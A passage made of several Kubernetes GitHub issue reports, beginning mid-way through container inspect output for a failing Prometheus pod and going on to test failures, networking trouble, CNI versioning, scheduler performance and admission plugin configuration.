: null,\r             \ extrahosts\ : null,\r             \ groupadd\ : null,\r             \ ipcmode\ : \ \ ,\r             \ cgroup\ : \ \ ,\r             \ links\ : null,\r             \ oomscoreadj\ : 0,\r             \ pidmode\ : \ \ ,\r             \ privileged\ : false,\r             \ publishallports\ : false,\r             \ readonlyrootfs\ : false,\r             \ securityopt\ : null,\r             \ storageopt\ : null,\r             \ utsmode\ : \ \ ,\r             \ usernsmode\ : \ \ ,\r             \ shmsize\ : 0,\r             \ consolesize\ :  \r                 0,\r                 0\r              ,\r             \ isolation\ : \ \ ,\r             \ cpushares\ : 0,\r             \ memory\ : 0,\r             \ cgroupparent\ : \ \ ,\r             \ blkioweight\ : 0,\r             \ blkioweightdevice\ : null,\r             \ blkiodevicereadbps\ : null,\r             \ blkiodevicewritebps\ : null,\r             \ blkiodevicereadiops\ : null,\r             \ blkiodevicewriteiops\ : null,\r             \ cpuperiod\ : 0,\r             \ cpuquota\ : 0,\r             \ cpusetcpus\ : \ \ ,\r             \ cpusetmems\ : \ \ ,\r             \ devices\ : null,\r             \ diskquota\ : 0,\r             \ kernelmemory\ : 0,\r             \ memoryreservation\ : 0,\r             \ memoryswap\ : 0,\r             \ memoryswappiness\ : null,\r             \ oomkilldisable\ : null,\r             \ pidslimit\ : 0,\r             \ ulimits\ : null,\r             \ cpucount\ : 0,\r             \ cpupercent\ : 0,\r             \ blkioiops\ : 0,\r             \ blkiobps\ : 0,\r             \ sandboxsize\ : 0\r         },\r         \ graphdriver\ : {\r             \ name\ : \ overlay\ ,\r             \ data\ : {\r                 \ lowerdir\ : \ /var/lib/docker/overlay/a84216d9ef3e8348e9296b791fa044617d02ede93add2eaf4564effa5c31644d/root\ ,\r                 \ mergeddir\ : \ /var/lib/docker/overlay/473a3409ce77a1846d1260b943d8861844c1b22a23cc32743587771efd2fcf68/merged\ ,\r                 \ upperdir\ : \ /var/lib/docker/overlay/473a3409ce77a1846d1260b943d8861844c1b22a23cc32743587771efd2fcf68/upper\ ,\r                 \ workdir\ : \ /var/lib/docker/overlay/473a3409ce77a1846d1260b943d8861844c1b22a23cc32743587771efd2fcf68/work\ \r             }\r         },\r         \ mounts\ :   ,\r         \ config\ : {\r             \ hostname\ : \ 8c2ea1120e4a\ ,\r             \ domainname\ : \ \ ,\r             \ user\ : \ \ ,\r             \ attachstdin\ : false,\r             \ attachstdout\ : false,\r             \ attachstderr\ : false,\r             \ exposedports\ : {\r                 \ 9090/tcp\ : {}\r             },\r             \ tty\ : false,\r             \ openstdin\ : false,\r             \ stdinonce\ : false,\r             \ env\ :  \r                 \ prometheus_port_9090_tcp_proto=tcp\ ,\r                 \ alertmanager_port_9093_tcp=tcp://10.3.0.53:9093\ ,\r                 \ alertmanager_port_9093_tcp_port=9093\ ,\r                 \ gitlab_port_80_tcp_addr=10.3.0.28\ ,\r                 \ external_ingress_proxy_port_80_tcp_port=80\ ,\r                 \ prom_pushgateway_port_80_tcp_addr=10.3.0.251\ ,\r                 \ internal_ingress_proxy_port_8080_tcp_proto=tcp\ ,\r                 \ prometheus_service_port=9090\ ,\r                 \ gitlab_port_80_tcp_proto=tcp\ ,\r                 \ external_ingress_proxy_service_port_http_admin=8080\ ,\r                 \ external_ingress_proxy_port_8080_tcp_proto=tcp\ ,\r                 \ internal_ingress_proxy_service_port_http=80\ ,\r                 \ internal_ingress_proxy_service_port_http_admin=8080\ ,\r                 \ github_sshkey_provider_port_80_tcp_proto=tcp\ ,\r                 \ prom_pushgateway_service_port_prometheus=80\ ,\r                 \ prom_pushgateway_port=tcp://10.3.0.251:80\ ,\r                 \ gitlab_service_port_https=443\ ,\r                 \ gitlab_port_443_tcp_proto=tcp\ ,\r                 \ github_sshkey_provider_port_80_tcp_port=80\ ,\r                 \ prometheus_service_host=10.3.0.110\ ,\r                 \ prometheus_port_9090_tcp_port=9090\ ,\r                 \ github_sshkey_provider_port_6379_tcp_port=6379\ ,\r                 \ prometheus_service_port_prometheus=9090\ ,\r                 \ prometheus_port_9090_tcp_addr=10.3.0.110\ ,\r                 \ github_sshkey_provider_port_80_tcp=tcp://10.3.0.44:80\ ,\r                 \ github_sshkey_provider_port_6379_tcp_proto=tcp\ ,\r                 \ blackbox_exporter_service_port_http=80\ ,\r                 \ grafana_port_3000_tcp=tcp://10.3.0.113:3000\ ,\r                 \ gitlab_port_443_tcp=tcp://10.3.0.28:443\ ,\r                 \ gitlab_port_22_tcp_proto=tcp\ ,\r                 \ prom_pushgateway_port_80_tcp_port=80\ ,\r                 \ gitlab_service_host=10.3.0.28\ ,\r                 \ gitlab_port_22_tcp=tcp://10.3.0.28:22\ ,\r                 \ github_sshkey_provider_service_port_redis=6379\ ,\r                 \ grafana_service_host=10.3.0.113\ ,\r                 \ github_sshkey_provider_port_80_tcp_addr=10.3.0.44\ ,\r                 \ external_ingress_proxy_port_8080_tcp_addr=10.3.0.161\ ,\r                 \ kubernetes_port_443_tcp_addr=10.3.0.1\ ,\r                 \ gitlab_port_443_tcp_addr=10.3.0.28\ ,\r                 \ internal_ingress_proxy_service_port=80\ ,\r                 \ internal_ingress_proxy_port_8080_tcp=tcp://10.3.0.176:8080\ ,\r                 \ prom_pushgateway_service_host=10.3.0.251\ ,\r                 \ kubernetes_port_443_tcp_port=443\ ,\r                 \ kubernetes_service_port=443\ ,\r                 \ gitlab_service_port=80\ ,\r                 \ blackbox_exporter_service_port=80\ ,\r                 \ grafana_port_3000_tcp_addr=10.3.0.113\ ,\r                 \ github_sshkey_provider_port_6379_tcp=tcp://10.3.0.44:6379\ ,\r                 \ external_ingress_proxy_service_host=10.3.0.161\ ,\r                 \ external_ingress_proxy_service_port_http=80\ ,\r                 \ kubernetes_port_443_tcp=tcp://10.3.0.1:443\ ,\r                 \ gitlab_port_22_tcp_port=22\ ,\r                 \ alertmanager_port_9093_tcp_proto=tcp\ ,\r                 \ internal_ingress_proxy_port_8080_tcp_port=8080\ ,\r                 \ prometheus_port_9090_tcp=tcp://10.3.0.110:9090\ ,\r                 \ kubernetes_port_443_tcp_proto=tcp\ ,\r                 \ external_ingress_proxy_port_80_tcp=tcp://10.3.0.161:80\ ,\r                 \ alertmanager_service_host=10.3.0.53\ ,\r                 \ blackbox_exporter_port_80_tcp_port=80\ ,\r                 \ prom_pushgateway_service_port=80\ ,\r                 \ prometheus_port=tcp://10.3.0.110:9090\ ,\r                 \ kubernetes_service_host=10.3.0.1\ ,\r                 \ external_ingress_proxy_service_port=80\ ,\r                 \ external_ingress_proxy_port=tcp://10.3.0.161:80\ ,\r                 \ grafana_port_3000_tcp_port=3000\ ,\r                 \ prom_pushgateway_port_80_tcp=tcp://10.3.0.251:80\ ,\r                 \ internal_ingress_proxy_port_80_tcp_port=80\ ,\r                 \ internal_ingress_proxy_port_8080_tcp_addr=10.3.0.176\ ,\r                 \ prom_pushgateway_port_80_tcp_proto=tcp\ ,\r                 \ blackbox_exporter_service_host=10.3.0.3\ ,\r                 \ blackbox_exporter_port_80_tcp=tcp://10.3.0.3:80\ ,\r                 \ alertmanager_port=tcp://10.3.0.53:9093\ ,\r                 \ grafana_port=tcp://10.3.0.113:3000\ ,\r                 \ internal_ingress_proxy_port=tcp://10.3.0.176:80\ ,\r                 \ external_ingress_proxy_port_80_tcp_proto=tcp\ ,\r                 \ external_ingress_proxy_port_8080_tcp_port=8080\ ,\r                 \ external_ingress_proxy_port_80_tcp_addr=10.3.0.161\ ,\r                 \ grafana_service_port=3000\ ,\r                 \ alertmanager_port_9093_tcp_addr=10.3.0.53\ ,\r                 \ gitlab_port_443_tcp_port=443\ ,\r                 \ gitlab_port_22_tcp_addr=10.3.0.28\ ,\r                 \ github_sshkey_provider_port=tcp://10.3.0.44:80\ ,\r                 \ internal_ingress_proxy_service_host=10.3.0.176\ ,\r                 \ kubernetes_service_port_https=443\ ,\r                 \ kubernetes_port=tcp://10.3.0.1:443\ ,\r                 \ blackbox_exporter_port=tcp://10.3.0.3:80\ ,\r                 \ alertmanager_service_port_alertmanager=9093\ ,\r                 \ gitlab_service_port_ssh=22\ ,\r                 \ gitlab_port=tcp://10.3.0.28:80\ ,\r                 \ github_sshkey_provider_service_host=10.3.0.44\ ,\r                 \ github_sshkey_provider_port_6379_tcp_addr=10.3.0.44\ ,\r                 \ internal_ingress_proxy_port_80_tcp=tcp://10.3.0.176:80\ ,\r                 \ gitlab_port_80_tcp_port=80\ ,\r                 \ github_sshkey_provider_service_port=80\ ,\r                 \ external_ingress_proxy_port_8080_tcp=tcp://10.3.0.161:8080\ ,\r                 \ grafana_port_3000_tcp_proto=tcp\ ,\r                 \ internal_ingress_proxy_port_80_tcp_addr=10.3.0.176\ ,\r                 \ internal_ingress_proxy_port_80_tcp_proto=tcp\ ,\r                 \ gitlab_service_port_http=80\ ,\r                 \ gitlab_port_80_tcp=tcp://10.3.0.28:80\ ,\r                 \ blackbox_exporter_port_80_tcp_proto=tcp\ ,\r                 \ blackbox_exporter_port_80_tcp_addr=10.3.0.3\ ,\r                 \ alertmanager_service_port=9093\ ,\r                 \ github_sshkey_provider_service_port_web=80\ ,\r                 \ grafana_service_port_grafana=3000\ ,\r                 \ path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\ \r              ,\r             \ cmd\ :  \r                 \ -storage.local.retention=336h\ ,\r                 \ -storage.local.memory-chunks=262144\ ,\r                 \ -config.file=/etc/prometheus/prometheus.yml\ ,\r                 \ -alertmanager.url=http://alertmanager:9093\ ,\r                 \ -web.external-url=https://prometheus.dev.uw.systems\ \r              ,\r             \ image\ : \ prom/prometheus:v1.2.1\ ,\r             \ volumes\ : {\r                 \ /prometheus\ : {}\r             },\r             \ workingdir\ : \ /prometheus\ ,\r             \ entrypoint\ :  \r                 \ /bin/prometheus\ \r              ,\r             \ onbuild\ : null,\r             \ labels\ : {\r                 \ io.kubernetes.container.hash\ : \ edf8dc49\ ,\r                 \ io.kubernetes.container.name\ : \ prometheus\ ,\r                 \ io.kubernetes.container.ports\ : \  {\\\ name\\\ :\\\ web\\\ ,\\\ containerport\\\ :9090,\\\ protocol\\\ :\\\ tcp\\\ } \ ,\r                 \ io.kubernetes.container.restartcount\ : \ 11\ ,\r                 \ io.kubernetes.container.terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ io.kubernetes.pod.name\ : \ prometheus-227300114-v7z1h\ ,\r                 \ io.kubernetes.pod.namespace\ : \ system\ ,\r                 \ io.kubernetes.pod.terminationgraceperiod\ : \ 30\ ,\r                 \ io.kubernetes.pod.uid\ : \ 3d09fff2-c6c7-11e6-8758-06099f2a458d\ \r             }\r         },\r         \ networksettings\ : {\r             \ bridge\ : \ \ ,\r             \ sandboxid\ : \ \ ,\r             \ hairpinmode\ : false,\r             \ linklocalipv6address\ : \ \ ,\r             \ linklocalipv6prefixlen\ : 0,\r             \ ports\ : null,\r             \ sandboxkey\ : \ \ ,\r             \ secondaryipaddresses\ : null,\r             \ secondaryipv6addresses\ : null,\r             \ endpointid\ : \ \ ,\r             \ gateway\ : \ \ ,\r             \ globalipv6address\ : \ \ ,\r             \ globalipv6prefixlen\ : 0,\r             \ ipaddress\ : \ \ ,\r             \ ipprefixlen\ : 0,\r             \ ipv6gateway\ : \ \ ,\r             \ macaddress\ : \ \ ,\r             \ networks\ : null\r         }\r     }\r  \r    \r \r kubectl describe pod:\r \r    \r name:\t\tprometheus-227300114-v7z1h\r namespace:\tsystem\r node:\t\tip-10-66-21-87.eu-west-1.compute.internal/10.66.21.87\r start time:\ttue, 20 dec 2016 15:16:10 +0000\r labels:\t\tapp=prometheus\r \t\tpod-template-hash=227300114\r status:\t\tpending\r ip:\t\t10.2.56.5\r controllers:\treplicaset/prometheus-227300114\r containers:\r   prometheus:\r     container id:\tdocker://8c2ea1120e4a8b41ca2a0c4ef9afca5d19d790c633e1b965434a0ec9fca9cd04\r     image:\t\tprom/prometheus:v1.2.1\r     image id:\t\tdocker://sha256:18eb3e2914849e994e7a22ad84e1ce3c7d41a51eec2ce68584728f36181900bc\r     port:\t\t9090/tcp\r     args:\r       -storage.local.retention=336h\r       -storage.local.memory-chunks=262144\r       -config.file=/etc/prometheus/prometheus.yml\r       -alertmanager.url=http://alertmanager:9093\r       -web.external-url=https://prometheus.dev.uw.systems\r     limits:\r       cpu:\t1500m\r       memory:\t6000mi\r     requests:\r       cpu:\t\t250m\r       memory:\t\t2000mi\r     state:\t\twaiting\r       reason:\t\truncontainererror\r     ready:\t\tfalse\r     restart count:\t11\r     volume mounts:\r       /etc/kubernetes/ssl from ssl  ro \r       /etc/prometheus from config-volume  rw \r       /prometheus from data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-0shxu  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   config-volume:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tprometheus\r   data:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tprometheus-ebs-pvc\r     readonly:\tfalse\r   ssl:\r     type:\thostpath  bare host directory volume \r     path:\t/etc/kubernetes/ssl\r   default-token-0shxu:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-0shxu\r qos class:\tburstable\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   29m\t\t29m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned prometheus-227300114-v7z1h to ip-10-66-21-87.eu-west-1.compute.internal\r   29m\t\t27m\t\t8\t{controller-manager }\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-64b14071-c5db-11e6-8758-06099f2a458d\  on node \ ip-10-66-21-87.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-02ff0c2158d03e018\  to instance \ i-01fb7ff93bad20e38\ : volumeinuse: vol-02ff0c2158d03e018 is already attached to an instance\r \t\tstatus code: 400, request id: \r   27m\t\t27m\t1\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\t\t\t\t\twarning\tfailedmount\tunable to mount volumes for pod \ prometheus-227300114-v7z1h_system 3d09fff2-c6c7-11e6-8758-06099f2a458d \ : timeout expired waiting for volumes to attach/mount for pod \ prometheus-227300114-v7z1h\ /\ system\ . list of unattached/unmounted volumes= data \r   27m\t\t27m\t1\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ prometheus-227300114-v7z1h\ /\ system\ . list of unattached/unmounted volumes= data \r   24m\t\t24m\t1\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\tspec.containers{prometheus}\tnormal\tpulling\t\tpulling image \ prom/prometheus:v1.2.1\ \r   24m\t\t24m\t1\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\tspec.containers{prometheus}\tnormal\tpulled\t\tsuccessfully pulled image \ prom/prometheus:v1.2.1\ \r   22m\t\t43s\t12\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\tspec.containers{prometheus}\twarning\tfailed\t\tfailed to create docker container \ prometheus\  of pod \ prometheus-227300114-v7z1h_system 3d09fff2-c6c7-11e6-8758-06099f2a458d \  with error: operation timeout: context deadline exceeded\r   22m\t\t43s\t12\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ prometheus\  with runcontainererror: \ runcontainer: operation timeout: context deadline exceeded\ \r \r   22m\t42s\t12\t{kubelet ip-10-66-21-87.eu-west-1.compute.internal}\tspec.containers{prometheus}\tnormal\tpulled\tcontainer image \ prom/prometheus:v1.2.1\  already present on machine\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?   bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r latest master branch\r $ git rev-parse head\r e3f6f14bf0d1af6abbd20e48335089e9a681193f\r $\r \r \r   environment  :\r -   cloud provider or hardware configuration  : virtual machine\r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r linux localhost 4.4.0-21-generic  37-ubuntu smp mon apr 18 18:33:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r cpu - 2, memory - 4gb\r \r $ go version\r go version go1.7.5 linux/amd64\r \r   what happened  :\r integration tests are failing.\r \r   what you expected to happen  :\r expecting integration tests all run fine without any errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. clone latest code from master branch.\r 2. run integration tests as \r  $ make test-integration kube_goflags=\ -v\  \r \r i see following tests are failing:\r \r    \r === run   testrbac\r i0323 05:24:56.407091    8526 services.go:35  network range for service cluster ips is unspecified. defaulting to 10.0.0.0/24.\r i0323 05:24:56.407112    8526 master.go:177  node port range unspecified. defaulting to 30000-32767.\r w0323 05:24:57.309032    8526 storage_extensions.go:127  third party resource sync failed: get http://127.0.0.1:37405/apis/extensions/v1beta1/thirdpartyresources: dial tcp 127.0.0.1:37405: getsockopt: connection refused\r e0323 05:24:57.337710    8526 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:37405/api/v1/namespaces: dial tcp 127.0.0.1:37405: getsockopt: connection refused\r w0323 05:24:57.544464    8526 storage_extensions.go:127  third party resource sync failed: get http://127.0.0.1:36972/apis/extensions/v1beta1/thirdpartyresources: dial tcp 127.0.0.1:36972: getsockopt: connection refused\r ....\r ....\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0x49a2500, 0xc400000000, 0x57, 0x242 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa5\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x4981ae0, 0xc400000003, 0xc420170240, 0x4511433, 0xf, 0x10d, 0x0 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:717 +0x337\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printdepth 0x4981ae0, 0xc400000003, 0x1, 0xc4308714e8, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:646 +0x126\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .print 0x4981ae0, 0xc400000003, 0xc4308714e8, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:637 +0x5a\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatal 0xc4308714e8, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1125 +0x53\r k8s.io/kubernetes/test/integration/framework.startmasterordie 0xc42397bb80, 0x0, 0x0, 0x0, 0xc430015501, 0xc427c68c70 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:269 +0xa56\r k8s.io/kubernetes/test/integration/framework.runamaster 0xc42397bb80, 0xc427c68c70, 0x49a2828 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:476 +0x50\r k8s.io/kubernetes/test/integration/auth.testrbac 0xc42d2cc0c0 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/auth/rbac_test.go:420 +0xe66\r testing.trunner 0xc42d2cc0c0, 0x34aafb0 \r \t/usr/local/go/src/testing/testing.go:610 +0x81\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:646 +0x2ec\r fail\tk8s.io/kubernetes/test/integration/auth\t62.352s\r    \r \r    \r --- pass: testmultiwatch  0.00s \r === run   testselflinkonnamespace\r i0323 05:24:56.889267    8556 services.go:35  network range for service cluster ips is unspecified. defaulting to 10.0.0.0/24.\r i0323 05:24:56.889309    8556 master.go:177  node port range unspecified. defaulting to 30000-32767.\r w0323 05:25:00.418337    8556 storage_extensions.go:127  third party resource sync failed: get http://127.0.0.1:33431/apis/extensions/v1beta1/thirdpartyresources: dial tcp 127.0.0.1:33431: getsockopt: connection refused\r ....\r .....\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0x49a3a00, 0xc400000000, 0x57, 0x25f \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa5\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x4982fc0, 0xc400000003, 0xc4209989c0, 0x45118ab, 0xf, 0x10d, 0x0 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:717 +0x337\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printdepth 0x4982fc0, 0xc400000003, 0x1, 0xc4276edbd0, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:646 +0x126\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .print 0x4982fc0, 0xc400000003, 0xc4276edbd0, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:637 +0x5a\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatal 0xc4276edbd0, 0x1, 0x1 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1125 +0x53\r k8s.io/kubernetes/test/integration/framework.startmasterordie 0xc427b4d600, 0x0, 0x0, 0x0, 0x66, 0x3 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:269 +0xa56\r k8s.io/kubernetes/test/integration/framework.runamaster 0xc427b4d600, 0x4b6200, 0x4718e18 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/master_utils.go:476 +0x50\r k8s.io/kubernetes/test/integration/client.testselflinkonnamespace 0xc427aaaa80 \r \t/root/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/client/client_test.go:827 +0x3f\r testing.trunner 0xc427aaaa80, 0x34a8970 \r \t/usr/local/go/src/testing/testing.go:610 +0x81\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:646 +0x2ec\r fail\tk8s.io/kubernetes/test/integration/client\t53.829s\r    \r   anything else we need to know  :\r \r in above failure what i've observed is both the tests are failed at same timestamp around  05:25:00  and i see tests are running parallel, i suspect something is wrong while these tests in parallel.\r \r note : i ran these tests serially by hacking test script with option  -p 1  and everything works fine.\r \r complete test logs can be found @ https://gist.github.com/mkumatag/37e18d2ee76730defedb1c918739561f

hi,\r \r we at ibm have been running test cases on k8s on ppc64le architecture. we have been able to achieve 100 percent coverage on unit and integration tests and more than 90 percent coverage on conformance tests. i see that there are a lot of test results available at www.k8s-testgrid.appspot.com. it would be nice to showcase out results there, is there any documents available that i need to follow to publish the results in testgrid? or is there anyone who can help me with this?\r \r tia.

master env:\r in the master i install an kubelet so the master can become  also  a slavor node. \r flannel kube-proxy etcd are all installed in the master ip 172.31.10.44.\r docker version: 17.03\r k8s version 1.6.3\r flannel version 7.1\r etcd version 3.+\r master get flannel ip subnet is : 172.30.88.1/24 \r ! image  https://cloud.githubusercontent.com/assets/10629930/26232165/cf4eef6e-3c86-11e7-96ec-e4083f9d4580.png \r \r the ohter node ip 172.31.10.45 have the save verison  docker ， flannel ，k8s\r and get flannel ip subnet is : 172.30.68.1/24\r ! image  https://cloud.githubusercontent.com/assets/10629930/26232400/8bae912c-3c88-11e7-9a67-9ea641c8f563.png \r \r now  i have a my-nginx ,and has 2 rcs;\r ! image  https://cloud.githubusercontent.com/assets/10629930/26232419/b10490de-3c88-11e7-8a15-34ad7c2a0817.png \r in the slaver:\r    i did ping 172.30.88.1 , it's ok 88.1 is master flannel gateway;\r    i did ping 172.30.88.4 that the my-nginx it it‘s ok\r \r ! image  https://cloud.githubusercontent.com/assets/10629930/26234163/3624cdf4-3c95-11e7-9638-fb2fdac887fc.png \r however in the master:\r  i did ping 172.30.68.1 it’s ok and  68.1 is node flannel gateway\r  then i did ping 172.30.68.2 ,not ok , very strange\r ! image  https://cloud.githubusercontent.com/assets/10629930/26234241/c3979392-3c95-11e7-81ee-58e821f056c1.png \r \r \r i have doubt that if it's the problem with iptables. i did itables -f , -x , z ,not use.\r \r please help me  and tell me that if this methd install kubelet within master  leads to the problem.\r or if it is a bug?\r

is this a bug report or feature request?  :\r \r  \r it's time to decide which cni version to use for v1.8.\r we should do early in the cycle to catch regressions in the cni <-> k8s integration.\r we don't want the thing that happened in v1.6 to occur again, so we need to be very careful.\r \r currently, we're using v0.5.1 and consuming tarballs via a sha pushed by this  makefile : https://github.com/kubernetes/kubernetes/blob/master/build/cni/makefile\r \r we did this earlier because cni didn't provide binary artifacts for all platform that kubernetes supports.\r since v0.5.2, they do, so we can get rid of  build/cni/makefile  :tada:\r \r also, we don't want to consume a strange sha as the version indicator, instead we want to use a version number _and_ possibly a sha for verification.\r \r i guess it would make sense to bump cni to v0.5.2 for the v1.8 cycle.\r agree/disagree? it's not clear to me when v0.6.0 will be released, but the rc has been out for some time already...\r \r cc @kubernetes/sig-network-feature-requests @ixdy @freehan @kubernetes/sig-cluster-lifecycle-feature-requests @dcbw

 \r   what happened  :\r i create a job witch podtemplate.spec.containers.lifecycle.poststart was defined error, such like exec <command not found>.  but the job status change to successed. \r \r the pod created by the job with a status:\r status.phase=succeeded\r status.conditions.initialized.status=true status.conditions.initialized.reason=podcompleted\r status.conditions.ready.status=false status.conditions.ready.reason=podcompleted\r \r   what you expected to happen  :\r the job should be failed, and the pod create by the job should be restart\r \r   environment  :\r - kubernetes version : 1.7.3\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r it is not a secret that  inter-pod affinity/anti-affinity predicate is much slower than other predicates  https://github.com/kubernetes/autoscaler/issues/257 .\r in my opinion the main reason for the slowness is the flexibility of the inter-pod affinity/anti-affinity rules. however, in most practical scenarios users do not need all the flexibility. for example, people often do not use arbitrary labels in topology key of the affinity rules. they often use node, zone, or region as the topology. node in particular is used often. that's why i am proposing a fast path for the case that topology key is node.\r today, the affinity/anti-affinity predicate does not have any distinction for topology keys and  scans all the pods  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1001  in the cluster regardless. the logic should recognize \ kubernetes.io/hostname\  and scan only pods on the same node for this topology key.\r \r   is this a bug report or feature request?  : feature request\r \r  \r \r \r  cc/ @shyamjvs

the defaulttolerationseconds admission plugin configures itself via globally registered flags, rather than via plugin config, as expected.\r \r this has several negative effects:\r   the global flags are visible in completely unrelated commands, like kubectl:\r        \r     $ kubectl options\r     the following options can be passed to any command:\r     ...\r     --default-not-ready-toleration-seconds=300: indicates the tolerationseconds of the toleration for notready:noexecute that is added by default to every pod that does not already have such a toleration.\r     --default-unreachable-toleration-seconds=300: indicates the tolerationseconds of the toleration for unreachable:noexecute that is added by default to every pod that does not already have such a toleration.\r        \r   the admission plugin is not positioned to receive config as apiserver config is updated to be able to be consumed from files, and then dynamically\r \r the global flags should be deprecated, and a config type created to hold the config for this admission plugin  like other configurable admission plugins \r \r cc @kubernetes/sig-scheduling-bugs

wrt https://github.com/kubernetes/kubernetes/pull/57613 issuecomment-355794478, container registry credentials should be included in a  ${kubelet_root_dir}/config.json  docker  config.json  file instead.\r \r we deprecated  --google-json-key  for this reason in  57613, but  --azure-container-registry-config  is more tricky, because the file it references is not static. \r \r we need to figure out what the alternative is for dynamically providing pull credentials to nodes.\r \r /cc @smarterclayton @andyzhangx @brendandburns @colemickens @feiskyer @jdumars @karataliu\r

